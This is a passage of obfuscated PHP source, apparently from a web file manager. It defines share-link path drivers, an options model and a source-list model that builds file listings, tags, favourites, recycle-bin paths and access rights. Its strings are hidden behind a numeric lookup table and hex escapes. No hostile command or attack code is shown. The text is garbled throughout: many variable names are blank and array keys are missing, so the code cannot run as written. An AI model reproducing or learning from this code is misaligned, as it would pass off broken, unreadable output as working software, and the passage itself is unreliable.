(isset($՝[$[1908]])) { $՝[$[1908]][$[466]] = $߆[$՝[$[1908]][$[1898]]]; } } unset($՝); } private function metaList($䬰) { $腥 =& $_SERVER[]; if (!$䬰) { return array(); } $ێ = array($腥[1898] => array($腥[7], $䬰)); $ = Model($腥[1909])->where($ێ)->select(); $ = array_to_keyvalue_group($, $腥[1898]); foreach ($ as $͢ => $) { $ = array(); foreach ($ as $쳓) { $[$쳓[$腥[94]]] = $쳓[$腥[374]]; } $[$͢] = $; } return $ ? $ : array(); } } goto e; bڛý: class PathDriverDbShareLink extends PathDriverDB { public function __construct($Ǐ) { $this->pathParse = $Ǐ; $this->model = Model($_SERVER[][1341]); } protected function infoParse($Ӣ֧, $ = false, $ = false) { $ =& $_SERVER[]; return Action($[1176])->sharePathInfo($this->pathParse[$[84]], !0, $); } public function listPath($Dž, $颩 = false) { $ٞ =& $_SERVER[]; $߿ = parent::listPath($Dž, $颩); if (!$߿) { return $߿; } if (is_array($߿[$ٞ[1350]])) { $߿[$ٞ[1350]] = Action($ٞ[1176])->shareItemInfo($߿[$ٞ[1350]]); } foreach ($߿ as $ => $ۗ) { if (!in_array($, array($ٞ[83], $ٞ[82]))) { continue; } foreach ($ۗ as $ => $ى) { $߿[$][$] = Action($ٞ[1176])->shareItemInfo($ى); } } return $߿; } public function listAll($ͤ) { $ =& $_SERVER[]; $䭭 = IO::info($this->pathParse[$[84]]); if (!$䭭) { return array(); } $딨 = $this->model->listAll($ͤ); foreach ($딨 as &$Ƌ) { $Ƌ[$[87]] = Action($[1176])->shareItemInfo($Ƌ[$[87]]); } unset($Ƌ); return $딨; } } class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($ɢ, $) { $ =& $_SERVER[]; if (method_exists($this, $ɢ)) { return; } $û = call_user_func_array(array($[1351], $ɢ), $); $ܾƐ = array($[1352], $[1353], $[1354], $[1355], $[546], $[548], $[1356], $[107], $[1357], $[1358]); if (in_array($ɢ, $ܾƐ)) { $û = $this->getPathOuter($û); } return $û; } public function copy($嶱, $̛, $典 = false, $ = false) { return $this->copyMove($嶱, $̛, $典, $_SERVER[][546], $); } public function move($, $, $ӌ = false, $ = false) { return $this->copyMove($, $, $ӌ, $_SERVER[][548], $); } private function copyMove($, $, $, $, $ = false) { $ŀ =& $_SERVER[]; $ܭ = $; $Հ = IO::driverMake($); if ($Հ->pathParse[$ŀ[1153]]) { $ = $Հ->pathParse[$ŀ[1153]]; } else { $ = $ܭ; } $꽲 = IO::copyMove($, $, $, $, $); $꽲 = $this->getPathOuter($꽲); return $꽲; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][84]]); } public function pathFather($𱱏) { return get_path_father($this->pathParse[$_SERVER[][84]]); } public function iconvSystem($Ѐ) { return $Ѐ; } protected function infoParse($թ, $ɱ = false) { $ =& $_SERVER[]; $ݔ = $this->pathParse[$[486]][$[1177]] . $this->pathParse[$[1170]]; if ($ɱ) { $Ԟ = IO::infoWithChildren($ݔ); } else { $Ԟ = IO::info($ݔ); } $Ƹ = $this->pathParse[$[486]]; return Action($[1349])->_shareItemeParse($Ԟ, $Ƹ); } public function listAll($) { $ءɧ =& $_SERVER[]; $ܱ = IO::listAll($); $ = rtrim($this->pathParse[$ءɧ[486]][$ءɧ[1177]], $ءɧ[8]); foreach ($ܱ as &$벲) { $벲[$ءɧ[84]] = $this->pathDriver . $ءɧ[8] . ltrim(substr($벲[$ءɧ[84]], strlen($)), $ءɧ[8]); } unset($벲); return $ܱ; } public function listAllSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->listAll($); $˖ = $this->pathParse[$[421]]; if (trim($˖, $[8]) == trim(get_path_father($˖), $[8])) { $ = !0; } return IO::init($[12])->listAllSimpleMake($, $˖, $); } public function getPathOuter($) { $ =& $_SERVER[]; $左 = KodIO::parse($); if ($左[$[33]] == KodIO::KOD_SHARE_ITEM) { return $左[$[84]]; } $ = KodIO::clear($); $ç = KodIO::clear($this->pathParse[$[486]][$[1177]]); $ɲ = substr($, strlen($ç)); if (substr($, 0, strlen($ç)) != $ç) { return !1; } return $this->pathParse[$[1171]] . $[8] . ltrim($ɲ, $[8]); } public function getType() { $ =& $_SERVER[]; $ͅ = str_replace($[74], $[12], get_class($this)); return strtolower($ͅ); } public function isTypeObject($) { return IO::isTypeObject($); } public function info($ڮ) { return $this->infoParse($ڮ); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($) { return $this->infoParse($); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($́, $ڋ = false) { $ =& $_SERVER[]; return Action($[1176])->sharePathInfo($this->pathParse[$[84]], !0, $ڋ); } public function listPath($Ӳԅ, $ = false) { $ё =& $_SERVER[]; $ = IO::listPath($Ӳԅ, $); if (!$) { return $; } if (is_array($[$ё[1350]])) { $ = Action($ё[1359])->parsePathChildren($[$ё[1350]], array($ё[421] => $Ӳԅ)); $[$ё[1350]] = Action($ё[1176])->shareItemInfo($); } foreach ($ as $ǂ => $Ž) { if (!in_array($ǂ, array($ё[83], $ё[82]))) { continue; } foreach ($Ž as $ܢ => $) { $ = Action($ё[1359])->parsePathChildren($, array($ё[421] => $Ӳԅ)); $[$ǂ][$ܢ] = Action($ё[1176])->shareItemInfo($); } } return $; } } goto C㜊ď; a̭: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($逤 = false, $ = '', $ = false) { $ =& $_SERVER[]; $ = $this->cacheGet($); $ = $this->optionDefault($); $ = is_array($) ? $ : array(); if (is_array($)) { $ = array_merge($, $); return $逤 ? isset($[$逤]) ? $[$逤] : null : $; } $Ƭ = $this->filterWhere(array($[33] => $)); $ = $this->where($Ƭ)->select(); $ = array_to_keyvalue($, $[94], $[374]); foreach ($ as $ => $ۣɺ) { if ($ || in_array($, $this->jsonField)) { $[$] = json_decode($ۣɺ, !0); } } $this->cacheSet($, $); $ = array_merge($, $); return $逤 ? $[$逤] : $; } public function set($ƹ, $˛ = false, $Ȓ = '') { $Ȭ =& $_SERVER[]; $this->cacheRemove($Ȓ); $ = array(); $ = is_array($ƹ) ? $ƹ : array($ƹ => $˛); foreach ($ as $ѰĨ => $Ԫ) { if (is_array($Ԫ)) { $Ԫ = json_encode_force($Ԫ); } $this->checkLength($Ԫ, !1, $this->tableName . $Ȭ[4] . $ƹ); $Ԫ = self::textEncode($Ԫ); $ = array($Ȭ[33] => $Ȓ, $Ȭ[94] => $ѰĨ, $Ȭ[374] => $Ԫ); $[] = $this->filterWhere($); } if (!$) { return !0; } $ = $this->cacheKey($Ȭ[400]); CacheLock::lock($); $ = $this->addAll($, array(), !0); CacheLock::unlock($); return $; } protected function optionDefault($ҏ = '') { return !1; } public function setDeep($, $̆ц = false, $ض = '') { $̯ɩ = explode($_SERVER[][10], $); $繒Ɔ = $this->get(); array_set_value($繒Ɔ, $, $̆ц); $this->set($̯ɩ[0], $繒Ɔ[$̯ɩ[0]], $ض); } public function remove($ዀ, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = $this->filterWhere(array($[94] => $ዀ, $[33] => $)); if (is_null($ዀ)) { unset($[$[94]]); } return $this->where($)->delete(); } public function cacheSet($, $ѱ = false) { return Cache::set($this->cacheKey($), $ѱ); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($랝) { return Cache::remove($this->cacheKey($랝)); } protected function filterWhere($ш) { return $ш; } protected function cacheKey($Ī) { return $Ī; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\x6f\165\162\x63\x65"; protected $tableMeta = array("\x74\x61\142\x6c\x65\116\141\155\x65" => "\151\x6f\137\x73\x6f\165\162\x63\145\137\x6d\x65\x74\x61", "\155\x65\x74\x61\x46\151\145\154\x64" => "\163\x6f\x75\x72\x63\x65\x49\104"); protected $dataAuto = array(array("\155\x6f\x64\151\x66\x79\124\151\x6d\x65", "\164\151\155\145", "\x69\x6e\163\x65\x72\164", "\x66\x75\x6e\x63\164\x69\x6f\x6e"), array("\x63\x72\x65\141\164\145\124\x69\x6d\x65", "\164\151\155\145", "\x69\156\x73\x65\x72\x74", "\x66\x75\x6e\143\x74\x69\157\x6e"), array("\x76\x69\x65\x77\x54\151\x6d\x65", "\x74\x69\155\x65", "\x69\x6e\163\145\162\x74", "\x66\165\156\x63\164\151\x6f\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($ɏ) { return $this->listSource(array($_SERVER[][401] => $ɏ)); } public function typeName($) { static $ȹ´ = array(self::TYPE_SYSTEM => "\163\171\x73\164\x65\155", self::TYPE_USER => "\x75\163\x65\162", self::TYPE_GROUP => "\147\162\x6f\x75\x70"); return $ȹ´[$ . $_SERVER[][12]]; } public function sourceListInfo($, $Ȋ = false) { $ʣ =& $_SERVER[]; $ = $ ? $ : array(); $ = array_filter(array_unique($)); if (!$) { return array(); } $ف = $this->where(array($ʣ[402] => array($ʣ[7], $)))->select(); $this->_listDataApply($ف, $Ȋ); return array_to_keyvalue($ف, $ʣ[402]); } public function pathInfoFilter(&$) { $ۮ =& $_SERVER[]; static $ʱ = false; static $ᵛ = false; static $݇ = false; if (!$ʱ) { $ = $ۮ[403]; $ .= $ۮ[404]; $ .= $ۮ[405]; $ = $ۮ[406]; $ԝ = explode($ۮ[50], $); $ʱ = explode($ۮ[50], $); $ᵛ = array(); foreach ($ʱ as $DŽ) { if (in_array($DŽ, $ԝ)) { continue; } $ᵛ[] = $DŽ; } $݇ = explode($ۮ[50], $ۮ[407]); } foreach ($݇ as $) { if (isset($[$])) { $[$] = intval($[$]); } } $[$ۮ[84]] = $ۮ[408] . $[$ۮ[402]] . $ۮ[409]; $[$ۮ[33]] = $[$ۮ[410]] == 1 ? $ۮ[75] : $ۮ[200]; $[$ۮ[411]] = $this->typeName($[$ۮ[411]]); if ($[$ۮ[410]] != 1) { $[$ۮ[174]] = $[$ۮ[412]]; unset($[$ۮ[412]]); } $ϸ = $ʱ; if (isset($[$ۮ[413]]) && $[$ۮ[413]][$ۮ[414]] == -1) { $ϸ = $ᵛ; } $ = array_field_key($, $ϸ); return $; } public function listUserFav() { $Ὴ =& $_SERVER[]; $ӛ = Model($Ὴ[415])->listData(); $ = array_filter_by_field($ӛ, $Ὴ[33], $Ὴ[416]); $ = array_to_keyvalue($, $Ὴ[12], $Ὴ[84]); if ($) { $ҭ = $this->listSource(array($Ὴ[417] => array($Ὴ[418], $))); } $ҭ = array_to_keyvalue($ҭ[$Ὴ[369]], $Ὴ[402]); foreach ($ӛ as &$ᬂ) { $ᬂ = array($Ὴ[419] => $ᬂ[$Ὴ[399]], $Ὴ[420] => $ᬂ[$Ὴ[32]], $Ὴ[421] => $ᬂ[$Ὴ[84]], $Ὴ[422] => $ᬂ[$Ὴ[33]], $Ὴ[423] => $ᬂ[$Ὴ[201]], $Ὴ[424] => $ᬂ[$Ὴ[85]]); if ($ᬂ[$Ὴ[33]] == $Ὴ[416] && $ҭ[$ᬂ[$Ὴ[84]]]) { $ᬂ[$Ὴ[87]] = $ҭ[$ᬂ[$Ὴ[84]]]; } } unset($ᬂ); return $ӛ; } public function listUserTag($) { $Ǚ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $̋ = Model($Ǚ[425])->listData(); $ = array(); $ = array(); foreach ($̋ as $Ҭ) { $ߺ = $Ҭ[$Ǚ[84]]; if (!$ߺ) { continue; } if (!isset($[$ߺ])) { $[$ߺ] = array(); } $[$ߺ][] = $Ҭ[$Ǚ[426]]; $[$Ҭ[$Ǚ[84]]] = $Ҭ; } $¾ = array(); $ = array(); $ = array(); foreach ($ as $ => $) { $潫ڳ = !0; if (!$) { $¾[] = $; continue; } foreach ($ as $Ƕ) { if (!in_array($Ƕ, $)) { $潫ڳ = !1; break; } } if (!$潫ڳ) { continue; } if (!is_numeric($)) { $ă = $[$]; $ɑ = array($Ǚ[32] => $ă[$Ǚ[32]], $Ǚ[84] => $ă[$Ǚ[84]], $Ǚ[33] => $ă[$Ǚ[33]], $Ǚ[87] => array($Ǚ[427] => 1), $Ǚ[202] => !0); if ($ă[$Ǚ[33]] == $Ǚ[200]) { $[] = $ɑ; } if ($ă[$Ǚ[33]] == $Ǚ[75]) { $[] = $ɑ; } continue; } $¾[] = $; } if ($¾) { $ = $this->listSource(array($Ǚ[417] => array($Ǚ[418], $¾))); } $ = $ ? $ : array($Ǚ[82] => array(), $Ǚ[83] => array()); $[$Ǚ[82]] = array_merge($[$Ǚ[82]], $); $[$Ǚ[83]] = array_merge($[$Ǚ[83]], $); if (isset($[$Ǚ[366]]) && count($¾) == $[$Ǚ[366]][$Ǚ[367]]) { return $; } $ɍ = array(); $܉ = array_to_keyvalue($[$Ǚ[82]], $Ǚ[12], $Ǚ[402]); $흴 = array_to_keyvalue($[$Ǚ[83]], $Ǚ[12], $Ǚ[402]); $ם = array_merge($흴, $܉); foreach ($¾ as $ߺ) { if (!in_array($ߺ, $ם)) { $ɍ[] = $ߺ; } } if ($ɍ) { Model($Ǚ[428])->removeBySource($ɍ); } return $; } public function listUserRecycle() { $圛 =& $_SERVER[]; $з = Model($圛[429])->listData(); if (!$з) { return array(); } $Ц = array($圛[417] => array($圛[418], $з), $圛[430] => 1); return $this->listSource($Ц); } public function listSource($, $ = 3000, $΄ = false) { $Ϫ =& $_SERVER[]; if (!isset($[$Ϫ[431]])) { $[$Ϫ[431]] = 0; } if (isset($[$Ϫ[432]]) && $[$Ϫ[432]] == $Ϫ[198]) { $[$Ϫ[412]] = array($Ϫ[331], $Ϫ[433]); } $ = $Ϫ[434]; $㰓 = $this->field($)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($㰓, $, $); $this->_listDataApply($㰓[$Ϫ[369]], $΄); $this->_listMake($㰓); return $㰓; } private function _listPageCheck(&$ܑ, $ү, $լ) { $ހ =& $_SERVER[]; if (!is_array($ܑ[$ހ[366]])) { return; } $혢 = $ܑ[$ހ[366]]; if ($혢[$ހ[368]] <= 1) { return; } if ($혢[$ހ[367]] >= 100000) { return; } if (Model($ހ[435])->get($ހ[436]) != $ހ[437]) { return; } $ү = str_replace(array($ހ[53], $ހ[342], $ހ[231]), $ހ[12], $ү); $ү = $ހ[438] . str_replace($ހ[50], $ހ[439], $ү) . $ހ[440]; $ϙ = $ހ[441]; $ϙ = $ϙ . $ހ[442]; $̍ = $혢[$ހ[363]] * ($혢[$ހ[353]] - 1) . $ހ[50] . $혢[$ހ[363]]; $Ԛ = $this->_makeOrder(!0); $ϑԮ = $ހ[438] . str_replace($ހ[50], $ހ[439], $Ԛ[0]); if (strpos($ϑԮ, $ހ[443])) { $ϑԮ = str_replace($ހ[443], $ހ[444], $ϑԮ); } else { $ϑԮ .= $ހ[445] . $Ԛ[1]; } $Ҧܞ = array(); foreach ($լ as $ => $鿕) { $Ҧܞ[$ހ[438] . $] = $鿕; } $this->alias($ހ[446])->field($ү)->limit($̍)->order($ϑԮ); $Н = $this->join($ϙ)->where($Ҧܞ)->select(); if ($Н) { $ܑ[$ހ[369]] = $Н; } } protected function _makeOrder($ו = false) { $Ԕ =& $_SERVER[]; $ = Model($Ԕ[447])->get($Ԕ[448]); $Ř = Model($Ԕ[447])->get($Ԕ[449]); $ך = array($Ԕ[450] => $Ԕ[451], $Ԕ[452] => $Ԕ[453]); $Ƌ = array($Ԕ[32] => $Ԕ[32], $Ԕ[76] => $Ԕ[76], $Ԕ[174] => $Ԕ[412], $Ԕ[454] => $Ԕ[454], $Ԕ[455] => $Ԕ[456], $Ԕ[201] => $Ԕ[201], $Ԕ[85] => $Ԕ[85]); $ = Input::get($Ԕ[457], $Ԕ[7], $, array_keys($Ƌ)); $ = Input::get($Ԕ[458], $Ԕ[7], $Ř, array_keys($ך)); if (!in_array($, array_keys($Ƌ))) { $ = $Ԕ[32]; } if (!in_array($, array_keys($ך))) { $ = $Ԕ[450]; } if ($ == $Ԕ[32]) { } $ۀމ = $Ԕ[459] . $Ƌ[$] . $Ԕ[53] . $ך[$]; $ۀމ = rtrim(trim($ۀމ), $Ԕ[50]); if ($ו) { return array($ۀމ, $ך[$]); } return $this->order($ۀމ); } protected function _listDataApplyItem($뾦, $Џ = false) { $ = array($뾦); $this->_listDataApply($, $Џ); return $[0]; } protected function _listDataApply(&$ˡ, $ƽ = false) { $眮 =& $_SERVER[]; if (!$ˡ) { $ˡ = array(); return; } $̺ = array_to_keyvalue($ˡ, $眮[12], $眮[402]); $̺ = array_unique($̺); $this->_listSourceCache($ˡ); if (!$ƽ) { $this->_listAppendMeta($ˡ, $̺); $this->_listAppendFileMeta($ˡ, $̺); $this->_listAppendChildren($ˡ, $̺); } $this->_listAppendPath($ˡ); $this->_listAppendAuth($ˡ); $this->_listAppendSourceInfo($ˡ, $̺); $this->_listAppendUser($ˡ); $this->_listFilterInfo($ˡ, $ƽ); $this->_listAppendAuthSecret($ˡ); } protected function _listSourceCache($Ɛ) { $˛ =& $_SERVER[]; foreach ($Ɛ as $߲) { self::$cacheSourceInfo[$˛[460] . $߲[$˛[402]]] = $߲; } } protected function _listFilterInfo(&$۲, $ڍ = false) { $ =& $_SERVER[]; foreach ($۲ as &$∐) { $∐ = $this->pathInfoFilter($∐); self::$cachePathInfo[$[461] . intval($ڍ) . $[386] . $∐[$[402]]] = $∐; } unset($∐); } protected function _listMake(&$ދ) { $О =& $_SERVER[]; $ދ[$О[82]] = array(); $ދ[$О[83]] = array(); foreach ($ދ[$О[369]] as $˝) { $ڷ = $˝[$О[410]] == 1 ? $О[82] : $О[83]; $ދ[$ڷ][] = $˝; } unset($ދ[$О[369]]); } protected function _listAppendMeta(&$ȗ, $Օ֚) { $ߩ =& $_SERVER[]; $ = array($ߩ[417] => array($ߩ[418], $Օ֚)); $ = Model($ߩ[462])->field($ߩ[463])->where($)->select(); if (!$) { return; } $ = array($ߩ[464], $ߩ[465], $ߩ[444]); $ = array(); foreach ($ as $) { if (!isset($[$[$ߩ[402]]])) { $[$[$ߩ[402]]] = array(); } if (in_array($[$ߩ[94]], $)) { continue; } $[$[$ߩ[402]]][$[$ߩ[94]]] = $[$ߩ[374]]; } foreach ($ȗ as &$) { $[$ߩ[466]] = !1; if (isset($[$[$ߩ[402]]])) { $[$ߩ[466]] = $[$[$ߩ[402]]]; } if ($this->fileIsLock($) && $[$ߩ[413]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$ߩ[413]][$ߩ[414]] = AuthModel::authDisable($[$ߩ[413]][$ߩ[414]], $); $[$ߩ[413]][$ߩ[467]][$ߩ[413]] = $[$ߩ[413]][$ߩ[414]]; } } unset($); } protected function _listAppendFileMeta(&$τ, $ѻ) { $ȁ =& $_SERVER[]; $ᯛ΅ = array_to_keyvalue($τ, $ȁ[12], $ȁ[468]); $ᯛ΅ = array_filter(array_unique($ᯛ΅)); if (!$ᯛ΅) { return; } $䥖 = array($ȁ[469] => array($ȁ[418], $ᯛ΅)); $ǘ = $ȁ[470]; $ = Model($ȁ[471])->field($ǘ)->where($䥖)->select(); $ = array_to_keyvalue($, $ȁ[468]); $ = Model($ȁ[472])->field($ȁ[473])->where($䥖)->select(); $ = $ ? $ : array(); $ī = array(); foreach ($ as $̎) { if (!isset($ī[$̎[$ȁ[468]]])) { $ī[$̎[$ȁ[468]]] = array(); } $ī[$̎[$ȁ[468]]][$̎[$ȁ[94]]] = $̎[$ȁ[374]]; } foreach ($τ as &$) { $ = $[$ȁ[468]]; if (!$ || !is_array($[$])) { continue; } $È = $[$]; $È[$ȁ[76]] = $[$ȁ[76]]; $È[$ȁ[32]] = $[$ȁ[32]]; if (!isset(self::$cacheFileInfo[$ȁ[474] . $])) { self::$cacheFileInfo[$ȁ[474] . $] = array_merge(array(), $È); } unset($[$][$ȁ[84]]); $Ο = is_array($ī[$]) ? $ī[$] : array(); $[$ȁ[170]] = array_merge($Ο, $[$]); if (isset($[$ȁ[170]][$ȁ[169]])) { $[$ȁ[169]] = json_decode($[$ȁ[170]][$ȁ[169]], !0); unset($[$ȁ[170]][$ȁ[169]]); } } unset($); } protected function _listAppendSourceInfo(&$Ј, $) { $ =& $_SERVER[]; $ = Model($[475])->listData(); $ = Model($[425])->listData(); $Ž = Model($[415])->listData(); $߭ = Model($[476])->listSimple(); $ = array_to_keyvalue($, $[399]); $܋ = array_to_keyvalue_group($, $[84], $[426]); $ = array_to_keyvalue($Ž, $[84]); $ޭ = array_to_keyvalue_group($߭, $[402]); foreach ($Ј as &$Υ) { $Υ[$[87]] = array($[477] => 0, $[478] => 0, $[479] => 0); if (isset($[$Υ[$[402]]])) { $Υ[$[87]][$[480]] = 1; $Υ[$[87]][$[481]] = $[$Υ[$[402]]][$[32]]; } if ($܋ && $ && isset($܋[$Υ[$[402]]])) { $Υ[$[87]][$[482]] = array(); foreach ($܋[$Υ[$[402]]] as $ک欈) { $ = $[$ک欈]; $Υ[$[87]][$[482]][] = array($[483] => $[$[399]], $[420] => $[$[32]], $[484] => $[$[485]]); } } if ($ޭ && isset($ޭ[$Υ[$[402]]])) { $Υ[$[87]][$[486]] = array(); foreach ($ޭ[$Υ[$[402]]] as $ݬ) { $Ѹ = $[487]; if ($ݬ[$[488]] == $[88]) { $Ѹ .= $[489]; } $Υ[$[87]][$[486]] = array_field_key($ݬ, explode($[50], $Ѹ)); } } } unset($Υ); return $Ј; } protected function _listAppendChildren(&$ؗ, $ׁ) { $ =& $_SERVER[]; $ = array(); $ = array($[207] => 0, $[208] => 0); foreach ($ؗ as &$) { if (!$[$[410]]) { continue; } $[] = $[$[402]]; } unset($); if (!$) { return; } $߶ = array($[432] => array($[7], $), $[431] => 0); $ = array($[432], $[410], $[490] => $[491]); $٥ = $this->field($)->where($߶)->group($[492])->select(); $̀ = array(); foreach ($٥ as $) { $ՙ = $[$[432]]; $ = $[$[410]] == $[88] ? $[208] : $[207]; if (!isset($̀[$ՙ])) { $̀[$ՙ] = array($[207] => 0, $[208] => 0); } $̀[$ՙ][$] += $[$[491]]; } foreach ($ؗ as &$) { if (!$[$[410]]) { continue; } $㋴ = is_array($̀[$[$[402]]]) ? $̀[$[$[402]]] : $; $[$[208]] = $㋴[$[208]]; $[$[207]] = $㋴[$[207]]; unset($[$[412]]); } unset($); } protected function _listAppendAuth(&$ѿ) { $ =& $_SERVER[]; $졵坑 = array(); foreach ($ѿ as $ʯ) { if ($ʯ[$[411]] == self::TYPE_GROUP) { $졵坑[] = $ʯ[$[402]]; } } if (!$졵坑) { return; } $Ӟڋ = array_to_keyvalue($ѿ, $[402]); $ = Model($[493])->getSourceList($졵坑, $Ӟڋ); $߹ = $GLOBALS[$[494]] == 1; foreach ($ѿ as $ => &$ʯ) { $ʯ[$[413]] = $[$ʯ[$[402]]]; if (!$ʯ[$[413]] && $ʯ[$[411]] == self::TYPE_GROUP) { $ʯ[$[413]] = Action($[495])->pathGroupAuthMake($ʯ[$[496]]); if (!$ʯ[$[413]] && !$߹) { $ʯ[$[203]] = !1; $ʯ[$[202]] = !1; } } if ($ʯ[$[413]]) { $ʯ[$[203]] = AuthModel::authCheckEdit($ʯ[$[413]][$[414]]); $ʯ[$[202]] = AuthModel::authCheckView($ʯ[$[413]][$[414]]); } $this->groupPathDisplay($ʯ); } unset($ʯ); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[]; if (Model($[435])->get($[497]) != $[88]) { return; } static $¤ = false; if (!$¤) { $ԭϿ = Model($[498]); $ = Model($[499]); $¤ = $->listData(); $¤ = array_to_keyvalue($¤, $[402]); $Є = json_decode(Model($[435])->get($[500]), !0); $Є = array_to_keyvalue($Є, $[399]); foreach ($¤ as $ʇŜ => $ȹ) { $ܡċ = $Є[$ȹ[$[501]]]; if (!$ܡċ) { $->remove($ȹ[$[399]]); unset($¤[$ʇŜ]); continue; } $ = $ԭϿ->listData($ܡċ[$[413]]); if (!$) { $->remove($ȹ[$[399]]); unset($¤[$ʇŜ]); continue; } $ȹ[$[413]] = $; $ȹ[$[502]] = $ܡċ; $ȹ[$[503]] = Model($[504])->getInfoSimpleOuter($ȹ[$[454]]); $¤[$ʇŜ] = $ȹ; } } $̅ = USER_ID; $䦣 = array(); $˜ = $this->_listAppendPath($䦣, !0); foreach ($ as $ʇŜ => &$ȹ) { if (!is_array($ȹ[$[413]])) { continue; } if ($ȹ[$[411]] != $[505]) { continue; } if (isset($¤[$ȹ[$[402]]])) { $ķ = $¤[$ȹ[$[402]]]; if (!is_array($ȹ[$[466]])) { $ȹ[$[466]] = array(); } $ȹ[$[466]][$[506]] = $ķ[$[501]]; $ȹ[$[413]][$[507]] = $ķ; $ȹ[$[413]][$[508]] = $ȹ[$[509]]; $ȹ[$[413]][$[510]] = $[88]; if ($ķ[$[454]] != $̅) { $ȹ[$[413]][$[414]] = $ȹ[$[413]][$[414]] & $ķ[$[413]][$[413]]; } continue; } $ѦŞ = $this->parentLevelArray($ȹ[$[511]]); $ = array_reverse($ѦŞ); foreach ($ as $ => $Ϋ) { if (!isset($¤[$Ϋ])) { continue; } $ķ = $¤[$Ϋ]; $ȹ[$[413]][$[507]] = $ķ; if ($ķ[$[454]] != $̅) { $ȹ[$[413]][$[414]] = $ȹ[$[413]][$[414]] & $ķ[$[413]][$[413]]; } $ڃ = $[12]; $㏾ = count($ѦŞ) - $; for ($ݲҠ = 0; $ݲҠ < $㏾; $ݲҠ++) { if (!isset($˜[$ѦŞ[$ݲҠ]])) { $ڃ = $[12]; break; } $ڃ = $ڃ . rtrim($˜[$ѦŞ[$ݲҠ]], $[8]) . $[8]; } $ȹ[$[413]][$[508]] = rtrim($ڃ, $[8]) . $[8]; break; } } unset($ȹ); } public function groupPathDisplay(&$ո) { $ֆ˩ =& $_SERVER[]; if ($ո[$ֆ˩[411]] != self::TYPE_GROUP) { return; } $ = Model($ֆ˩[512])->getInfo($ո[$ֆ˩[496]]); $ْ = $this->parentLevelArray($[$ֆ˩[511]]); $ = $ֆ˩[12]; foreach ($ْ as $ɸ) { $ď = Model($ֆ˩[512])->getInfo($ɸ); $ .= $ď[$ֆ˩[87]][$ֆ˩[402]] . $ֆ˩[50]; } $ո[$ֆ˩[513]] = $[$ֆ˩[432]]; $ո[$ֆ˩[514]] = $[$ֆ˩[511]]; $ո[$ֆ˩[515]] = $[$ֆ˩[516]]; $ո[$ֆ˩[517]] = $ . $[$ֆ˩[87]][$ֆ˩[402]]; } protected function _listAppendPath(&$, $¿ = false) { $DŽ =& $_SERVER[]; static $Ҫ = array(); $ = array(); $Ќ = array(); if ($¿) { return $Ҫ; } foreach ($ as &$) { $ = $[$DŽ[402]]; if ($[$DŽ[410]] == $DŽ[88] && $[$DŽ[432]] != 0) { $Ҫ[$] = $[$DŽ[32]]; } if ($[$DŽ[410]] == $DŽ[88] && $[$DŽ[432]] == 0 && !isset($Ҫ[$])) { $Ҫ[$] = $this->_listAppendPathRoot($, array()); } if (isset($Ќ[$[$DŽ[511]]])) { continue; } $Ќ[$[$DŽ[511]]] = !0; $ƴ = $this->parentLevelArray($[$DŽ[511]]); foreach ($ƴ as $Ǚ => $Бߜ) { if (isset($Ҫ[$Бߜ])) { continue; } if ($Ǚ == 0) { $Ҫ[$Бߜ] = $this->_listAppendPathRoot($, $ƴ); } if ($Ǚ != 0) { $[] = $Бߜ; } } } unset($); $ = array_unique($); if (count($) > 0) { $Ѱ = array($DŽ[417] => array($DŽ[418], $)); if (count($) == 1) { $ = $this->sourceInfo($[0]); $ٮ = is_array($) ? array($) : !1; } else { $ٮ = $this->field($DŽ[518])->where($Ѱ)->select(); } if (!$ٮ) { $ٮ = array(); } foreach ($ٮ as $) { $Ҫ[$[$DŽ[402]]] = $[$DŽ[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $̹ = array(); foreach ($ as &$) { $ = $[$DŽ[511]]; $й = $DŽ[12]; if (isset($̹[$])) { $й = $̹[$]; } else { $ƴ = $this->parentLevelArray($[$DŽ[511]]); foreach ($ƴ as $Ǚ => $Бߜ) { if (isset($Ҫ[$Бߜ])) { $й .= $Ҫ[$Бߜ] . $DŽ[8]; } } $̹[$] = $й; } $й .= $[$DŽ[32]]; if ($[$DŽ[410]] == $DŽ[88]) { $й .= $DŽ[8]; } $[$DŽ[509]] = str_replace($DŽ[519], $DŽ[8], $й); if ($[$DŽ[432]] == $DŽ[198]) { $[$DŽ[32]] = trim($Ҫ[$[$DŽ[402]]], $DŽ[8]); $[$DŽ[509]] = $[$DŽ[32]] . $DŽ[8]; } if (intval($[$DŽ[411]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $ƴ, $); } } unset($); return $; } private function _listAppendPathRecycle(&$, $ٱ, $ӑ) { $ =& $_SERVER[]; if (!in_array($ӑ, $ٱ) && $[$[402]] != $ӑ) { return; } $ = explode($[8], trim($[$[509]], $[8])); $ = implode($[8], array_slice($, 2)); $[$[509]] = $[8] . LNG($[520]) . $[8] . ltrim($, $[8]); $[$[511]] = $[521] . implode($[50], array_slice($ٱ, 1)) . $[50]; if ($[$[402]] == $ӑ) { $[$[511]] = $[521]; $[$[432]] = $[198]; $[$[32]] = LNG($[520]); } $[$[522]] = $[523]; } protected function _listAppendPathRoot(&$, $) { $Ǟ =& $_SERVER[]; static $ = false; $Κ² = $Ǟ[12]; if ($[$Ǟ[411]] == self::TYPE_USER) { if ($[$Ǟ[496]] == USER_ID) { $Κ² = LNG($Ǟ[524]); if ($ === !1) { $Ƶ = Model($Ǟ[525])->getInfoFull(USER_ID); $ = _get($Ƶ, $Ǟ[526], 